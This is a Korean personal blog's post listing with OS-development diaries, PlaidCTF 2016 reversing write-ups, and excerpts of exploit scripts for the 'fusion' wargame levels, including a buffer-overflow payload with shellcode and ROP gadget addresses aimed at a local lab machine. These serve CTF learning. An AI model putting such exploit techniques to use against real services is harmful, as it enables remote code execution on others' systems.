본문 바로가기

분류 전체보기

OS 개발 17챕터 드디어 멀티스레드를 향해서 가고 있다. 오늘은 두 태스크가 서로 왔다갔다 하는거를 만들었다. 뭔가 타자도 좀 빨라지고 오류를 찾는 속도도 빨라진거 같아서 좋다. 그리고 중간에 갑자기 이런 13번 예외가 발생했다고 해서 좀 놀랐었다.. 13번은 무슨 듣도보도 못한 Gerneral Protection ISR 예외던데 엄청 당황스러웠다. 소스를 잘 보니 push rax를 두 번 해서 생긴 예외더라. 생각보다 빨리 해결할 수 있어서 좋았다. 더보기
fusion level03 완전 어려웠다. 진짜 짱짱 어려웠다. 취약점 자체도 예상하지 못한거였는데 익스플로잇 하는 거도 어려웠다.. 마지막에는 풀이도 살짝 참고해서 풀어서 좀 아쉬웠다ㅠㅠㅠ 레벨4는 절대 풀이 꼭 안보고 풀어봐야겠다.12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364from SunKn0wn import *import hmacimport itertools r = remote('192.168.179.151', 20003)table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"gadge.. 더보기
OS 개발 16챕터 16챕터에서는 시간 관련된 작업들을 했다. 되게 어려우면서 신기했다. 이제 3부가 끝나고 4부로 들어간다. 4부에서는 두 번째로 관심을 가지고 있는 멀티스레딩에 대해서 만든다.멀티스레딩 부분이 엄청 기대된다. 더보기
fusion level02 중간에 엉뚱한데서 살짝 삽질을 했었다. level03부터 완전 헬이라던데 어떨지 모르겠다.. 12345678910111213141516171819202122232425262728293031323334353637383940414243from SunKn0wn import * r = remote('192.168.179.151', 20002) read_plt = 0x08048860execve_plt = 0x080489b0bss = 0x0804b420pppr = 0x80499bd ############ get xor key ############r.recvsend('E')r.send('\x80\x00\x00\x00')r.send('\x00' * 0x80)r.recvuntil('--]\n\x80\x00\x00\x0.. 더보기
OS 개발 15챕터 드디어 제일 기대되었던 쉘을 만들었다. 생각보다 코딩할 양이 많았다.. 그래도 이제 쉘이 생기고 진짜 OS처럼 보이기 시작하는 것 같다. 이제 쉘에 이것저것 넣고 싶은 기능들도 여러가지 넣어야겠다. 더보기
OS 개발 14챕터 주말동안은 pctf를 하느라 OS 코딩을 못했다. 오늘은 키보드 디바이스 드라이버를 업그레이드 했다. 이전에는 입출력 포트를 무한 루프를 돌면서 키 입력을 받았었다면 이번에는 큐 자료구조를 만들고 인터럽트로 키보드 입력을 받아서 처리하도록 했다. 내일 이제 유저와 상호작용하는 쉘을 짜야겠다. 더보기
PlaidCTF 2016 quite quixotic quest - 300pt 아이디어가 굉장히 참신해서 재밌던 문제였다. curl 라이브러리를 바탕으로 그대로 가져와서 중간에 --pctfkey 인자를 추가해서 키를 입력할 수 있게 하였다. 실제 curl 라이브러리에는 저런 인자가 없다. IDA로 열어서 저 인자로 주었을 때의 동작을 봤더니 스택 자체를 아예 바꿔버리고 리턴을 해버린다. 즉, 연산 루틴 과정을 코드가 아니라 ROP처럼 리턴으로 이루어진 연산을 하게 된다. 여기서부터 이 문제는 아이디어가 되게 좋다고 생각했다. 진행을 해 보면 리턴을 하다가 strlen함수로 가서 입력한 키 값의 글자를 구한다. 그리고 몇 번의 리턴 후에 pop edx 명령어를 수행한다. 위 레지스터에서 ebx가 strlen으로 구한 값이고, edx가 스택에서 pop 한 값이다. 그리고 sub 연산을.. 더보기
PlaidCTF 2016 quick - 175pt 일어나서 첫 번째로 푼 문제이다. IDA로 까 보면 스위프트로 짜여 있어서 좀 더럽다. 그래도 몇 번 보다 보니까 익숙해져서 풀 수 있었다. 디버깅 하면서 보니까 먼저 값을 입력받고, sub_403660함수에서 연산을 한다. 이렇게 테이블이 있고, 연산을 해서 저 테이블이랑 비교를 하는 부분이 두 군데가 있다. 그런데 첫 번째 부분은 입력값이 쓰이지 않는 연산이라서 그냥 패치를 해서 넘겼고, 두 번째 연산에서 입력값이 쓰여서 이 부분만 분석했다. 먼저 연산은 sub_403510 이 함수에 있는 것이 전부라고 해도 과언이 아니었다. 보기가 좀 거슬리기 때문에 중요 부분만 뽑아서 다시 짜봤다. 1234567891011#include int main(void) { unsigned char table[34], .. 더보기
fusion level01 레벨0이랑 소스는 같은데 aslr이 추가되고 버퍼의 주소를 안알려줬다. 문제를 보고 그냥 바로 ROP를 해야겠다 생각해서 걍 ROP로 풀었었는데 풀고 다른 사람들의 풀이를 보니까 다 jmp esp 가젯을 이용해서 풀었더라.. jmp esp 가젯은 많이 사용해 본 적이 없어서 생각해 내지 못한 것 같다. 앞으로 또 써먹을 일이 있었으면 좋겠다. 12345678910111213141516171819202122232425262728293031323334from SunKn0wn import * r = remote('192.168.179.151', 20001) strcpy_plt = 0x080489A0leaveret = 0x8049853ppr = 0x08049A2Epopebpret = 0x8049a78bss = .. 더보기
fusion level00 간단한 bof 였다. NX가 걸려있지 않고 버퍼의 주소를 알기 때문에 쉘코드를 사용했다. 다만 realpath라는 함수의 용도를 모르겠어서 약간 헤멨었다.123456789101112from SunKn0wn import * r = remote('192.168.179.151', 20000)r.recvuntil('at 0x')buf = int(r.recv(8), 16)print "[*]buffer addr : " + str(hex(buf))payload = 'A' * 139payload += p32(buf + 144)payload += SocketShell32payload = 'GET ' + payload + ' HTTP/1.1'r.recvsend(payload)r.interactive()cs 더보기